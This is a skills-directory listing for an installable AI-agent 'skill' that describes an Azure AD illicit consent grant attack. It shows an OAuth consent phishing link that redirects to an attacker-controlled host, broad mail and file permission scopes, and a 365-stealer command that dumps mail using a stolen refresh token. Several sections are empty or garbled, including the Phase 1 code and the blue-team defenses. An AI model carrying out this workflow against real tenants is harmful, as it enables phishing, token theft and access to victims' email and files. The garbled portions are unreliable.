Exploit Illicit Consent Grants in Azure Active Directory (Entra ID). This skill covers crafting a malicious OAuth application to trick victims into granting broad permissions (like reading emails, modifying files) without requiring their password or MFA.
Scanned 9/12/2026
Install to Claude Code
npx -y skills add ShulkwiSEC/bb-huge --skill azure-ad-illicit-consent-grant --agent claude-codeInstalls into .claude/skills of the current project.
Are you the author of Azure Ad Illicit Consent Grant?
Add the live security badge to your README — it updates automatically with every re-scan.
[](https://www.skillsdirectory.com/skills/shulkwisec-azure-ad-illicit-consent-grant)More formats (shields.io, HTML) on the badges page.
---
name: azure-ad-illicit-consent-grant
description: >
Exploit Illicit Consent Grants in Azure Active Directory (Entra ID). This skill covers
crafting a malicious OAuth application to trick victims into granting broad permissions
(like reading emails, modifying files) without requiring their password or MFA.
domain: cybersecurity
subdomain: penetration-testing
category: Cloud Security
difficulty: intermediate
estimated_time: "2-3 hours"
mitre_attack:
tactics: [TA0001, TA0005, TA0009]
techniques: [T1528]
platforms: [azure, cloud]
tags: [azure, entra-id, oauth, illicit-consent, phishing, cloud-pentesting]
tools: [azure-cli, burp-suite, 365-stealer]
version: "1.0"
author: CyberSkills-Elite
license: Apache-2.0
---
# Azure AD Illicit Consent Grant Attack
## When to Use
- When conducting cloud-focused Red Team engagements where standard credential phishing is blocked by strong Multi-Factor Authentication (MFA).
- To maintain stealthy, persistent access to a user's Microsoft 365 data (emails, OneDrive) by relying on OAuth refresh tokens rather than stolen passwords.
## Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
## Workflow
### Phase 1: Registering the Malicious Application
```bash
# ```
### Phase 2: Defining Scopes and Permissions
```json
// // {
"requestedPermissions": [
{ "id": "Mail.ReadWrite", "type": "Scope" },
{ "id": "Files.ReadWrite.All", "type": "Scope" },
{ "id": "User.Read", "type": "Scope" }
]
}
```
### Phase 3: Crafting the Consent Link (The Phish)
```http
# # https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=ATTACKER_APP_ID
&response_type=code
&redirect_uri=https://attacker-controlled-site.com/callback
&response_mode=query
&scope=Mail.ReadWrite%20Files.ReadWrite.All%20User.Read%20offline_access
&state=12345
```
### Phase 4: Harvesting the Tokens and Accessing Data
```bash
# python3 365-stealer.py --refresh-token [STOLEN_REFRESH_TOKEN] --dump-mail
```
#### Decision Point 🔀
```mermaid
flowchart TD
A[Send Phishing Link ] --> B{User Consents? ]}
B -->|Yes| C[Receive Auth Code ]
B -->|No| D[Revise Pretext ]
C --> E[Exchange for Token ]
```
## 🔵 Blue Team Detection & Defense
- **Restrict App Consent**: - **Monitor Azure AD Audit Logs**: **Defend against Oauth Phishing**: Key Concepts
| Concept | Description |
|---------|-------------|
## Output Format
```
Azure Ad Illicit Consent Grant — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
```
## 📚 Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class
## References
- Microsoft: [Detect and Remediate Illicit Consent Grants](https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/detect-and-remediate-illicit-consent-grants)
- O365 Stealer: [GitHub Repository](https://github.com/AlteredSecurity/365-Stealer)
Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.
No comments yet. Be the first to comment!